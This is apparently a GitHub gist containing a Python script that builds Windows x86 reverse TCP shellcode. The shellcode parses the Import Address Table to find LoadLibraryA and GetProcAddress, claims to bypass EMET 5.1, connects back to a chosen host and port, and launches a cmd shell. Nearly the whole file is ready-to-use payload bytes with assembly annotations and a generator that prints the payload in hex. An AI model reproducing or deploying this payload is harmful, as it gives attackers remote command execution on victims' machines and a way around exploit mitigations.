Last active
December 16, 2022 03:45
-
-
Save secretsquirrel/2ad8fba6b904c2c952b8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import struct | |
import sys | |
def pack_ip_addresses(HOST): | |
hostocts = [] | |
for i, octet in enumerate(HOST.split('.')): | |
hostocts.append(int(octet)) | |
hostip = struct.pack('=BBBB', hostocts[0], hostocts[1], | |
hostocts[2], hostocts[3]) | |
return hostip | |
def iat_parser_test(HOST, PORT): | |
""" | |
IAT parser based code: | |
Idea from: http://phrack.org/issues/63/15.html | |
Bypasses EMET 5.1 | |
""" | |
if PORT is None: | |
print ("Must provide port") | |
return False | |
stackpreserve = "\x90\x90\x60\x9c" | |
stackrestore = "\x9d\x61" | |
shellcode1 = "\xfc" | |
shellcode1 += ("\x31\xd2" # xor edx, edx ;prep edx for use | |
"\x64\x8b\x52\x30" # mov edx, dword ptr fs:[edx + 0x30] ;PEB | |
"\x8b\x52\x08" # mov edx, dword ptr [edx + 8] ;PEB.imagebase | |
"\x8b\xda" # mov ebx, edx ;Set ebx to imagebase | |
#"\x8b\xc3" # mov eax, ebx ;Set eax to imagebase | |
"\x03\x52\x3c" # add edx, dword ptr [edx + 0x3c] ;"PE" | |
"\x8b\xba\x80\x00\x00\x00" # mov edi, dword ptr [edx + 0x80] ;Import Table RVA | |
"\x03\xfb" # add edi, ebx ;Import table in memory offset | |
#findImport: | |
"\x8b\x57\x0c" # mov edx, dword ptr [edi + 0xc] ;Offset for Import Directory Table Name RVA | |
"\x03\xd3" # add edx, ebx ;Offset in memory | |
"\x81\x3a\x4b\x45\x52\x4e" # cmp dword ptr [edx], 0x4e52454b ;Replace this so any API can be called | |
"\x74\x05" # je 0x102f ;jmp saveBase | |
"\x83\xc7\x14" # add edi, 0x14 ;inc to next import | |
"\xeb\xee" # jmp 0x101d ;Jmp findImport | |
#saveBase: | |
"\x57" # push edi ;save addr of import base | |
"\xeb\x3e" # jmp 0x106e ;jmp loadAPIs | |
#setBounds: | |
#;this is needed as the parsing could lead to eax ptr's to unreadable addresses | |
"\x8b\x57\x10" # mov edx, dword ptr [edi + 0x10] ;Point to API name | |
"\x03\xd3" # add edx, ebx ;Adjust to in memory offset | |
"\x8b\x37" # mov esi, dword ptr [edi] ;Set ESI to the Named Import base | |
"\x03\xf3" # add esi, ebx ;Adjust to in memory offset | |
"\x8b\xca" # mov ecx, edx ;Mov in memory offset to ecx | |
"\x81\xc1\x00\x00\xff\x00" # add ecx, 0x40000 ;Set an upper bounds for reading | |
"\x33\xed" # xor ebp, ebp ;Zero ebp for thunk offset | |
#findAPI: | |
"\x8b\x06" # mov eax, dword ptr [esi] ;Mov pointer to Named Imports | |
"\x03\xc3" # add eax, ebx ;Find in memory offset | |
"\x83\xc0\x02" # add eax, 2 ;Adjust to ASCII name start | |
"\x3b\xc8" # cmp ecx, eax ;Check if over bounds | |
"\x72\x18" # jb 0x1066 ;If not over, don't jump to increment | |
"\x3b\xc2" # cmp eax, edx ;Check if under Named import | |
"\x72\x14" # jb 0x1066 ;If not over, don't jump to increment | |
"\x3e\x8b\x7c\x24\x04" # mov edi, dword ptr ds:[esp + 4] ;Move API name to edi | |
"\x39\x38" # cmp dword ptr [eax], edi ;Check first 4 chars | |
"\x75\x0b" # jne 0x1066 ;If not a match, jump to increment | |
"\x3e\x8b\x7c\x24\x08" # mov edi, dword ptr ds:[esp + 8] ;Move API 2nd named part to edi | |
"\x39\x78\x08" # cmp dword ptr [eax + 8], edi ;Check next 4 chars | |
"\x75\x01" # jne 0x1066 ;If not a match, jump to increment | |
"\xc3" # ret ;If a match, ret | |
#Increment: | |
"\x83\xc5\x04" # add ebp, 4 ;inc offset | |
"\x83\xc6\x04" # add esi, 4 ;inc to next name | |
"\xeb\xd5" # jmp 0x1043 ;jmp findAPI | |
#loadAPIs | |
"\x68\x61\x72\x79\x41" # push 0x41797261 ;aryA (notice the 4 char jump between beginning) | |
"\x68\x4c\x6f\x61\x64" # push 0x64616f4c ;Load | |
"\xe8\xb3\xff\xff\xff" # call 0x1032 ;call setBounds | |
"\x03\xd5" # add edx, ebp ;In memory offset of API thunk | |
"\x83\xc4\x08" # add ESP, 8 ;Move stack to import base addr | |
#"\x5d" # pop ebp ;remove loadlibrary from stack | |
#"\x5d" # pop ebp ;... | |
#"\x33\xed" # xor ebp, ebp ; | |
"\x5f" # pop edi ;restore import base addr for parsing | |
"\x52" # push edx ;save LoadLibraryA thunk address on stack | |
"\x68\x64\x64\x72\x65" # push 0x65726464 ;ddre | |
"\x68\x47\x65\x74\x50" # push 0x50746547 ;Getp | |
"\xe8\x9d\xff\xff\xff" # call 0x1032 ;call setBounds | |
"\x03\xd5" # add edx, ebp ; | |
"\x5d" # pop ebp ; | |
"\x5d" # pop ebp ; | |
"\x5b" # pop ebx ;Pop LoadlibraryA thunk addr into ebx | |
"\x8b\xca" # mov ecx, edx ;Move GetProcaddress thunk addr into ecx | |
) | |
# LOADLIBA in EBX | |
# GETPROCADDR in ECX | |
# hand written reverse TCP shellcode to build a payload from loadliba getprocaddr in EBX, ECX | |
shellcode1 += ("\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x87\xF1\xFF\x13\x68" + | |
"\x75\x70\x00\x00\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x50" | |
"\x97\xFF\x16\x95\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\xFF\xD5\x68" | |
"\x74\x41\x00\x00\x68\x6F\x63\x6B\x65\x68\x57\x53\x41\x53\x54\x57" | |
"\xFF\x16\x95\x31\xC0\x50\x50\x50\x50\x40\x50\x40\x50\xFF\xD5\x95" | |
"\x68\x65\x63\x74\x00\x68\x63\x6F\x6E\x6E\x54\x57\xFF\x16\x87\xCD" | |
"\x95\x6A\x05\x68" | |
) | |
shellcode1 += pack_ip_addresses(HOST) # HOST | |
shellcode1 += "\x68\x02\x00" | |
shellcode1 += struct.pack('!h', PORT) # PORT | |
shellcode1 += ("\x89\xE2\x6A" | |
"\x10\x52\x51\x87\xF9\xFF\xD5" | |
) | |
shellcode2 = ("\x85\xC0\x74\x00\x6A\x00\x68\x65\x6C" | |
"\x33\x32\x68\x6B\x65\x72\x6E\x54\xFF\x13\x68\x73\x41\x00\x00\x68" | |
"\x6F\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x50" | |
"\xFF\x16\x95\x93\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x87\xFE" | |
"\x92\x31\xF6\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01" | |
"\x8D\x44\x24\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56" | |
"\x56\x53\x56\x87\xDA\xFF\xD5\x89\xE6\x6A\x00\x68\x65\x6C\x33\x32" | |
"\x68\x6B\x65\x72\x6E\x54\xFF\x13\x68\x65\x63\x74\x00\x68\x65\x4F" | |
"\x62\x6A\x68\x69\x6E\x67\x6C\x68\x46\x6F\x72\x53\x68\x57\x61\x69" | |
#NOP below to continue execution | |
"\x74\x54\x50\x95\xFF\x17\x95\x89\xF2\x31\xF6\x4E\x90\x46\x89\xD4" | |
"\xFF\x32\x96\xFF\xD5\x81\xC4\x34\x02\x00\x00" | |
) | |
shellcode = stackpreserve + shellcode1 + shellcode2 + stackrestore | |
return shellcode | |
if __name__ == "__main__": | |
if len(sys.argv) != 3: | |
print "IAT parser reverse tcp payload generator" | |
print "Usage:", sys.argv[0], "HOST", "PORT" | |
sys.exit(-1) | |
try: | |
shellcode = iat_parser_test(sys.argv[1], int(sys.argv[2])) | |
except: | |
print "really?" | |
sys.exit(-1) | |
print "Payload length:", len(shellcode) | |
print "\"\\x" + "\\x".join("{:02x}".format(ord(c)) for c in shellcode) + "\"" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment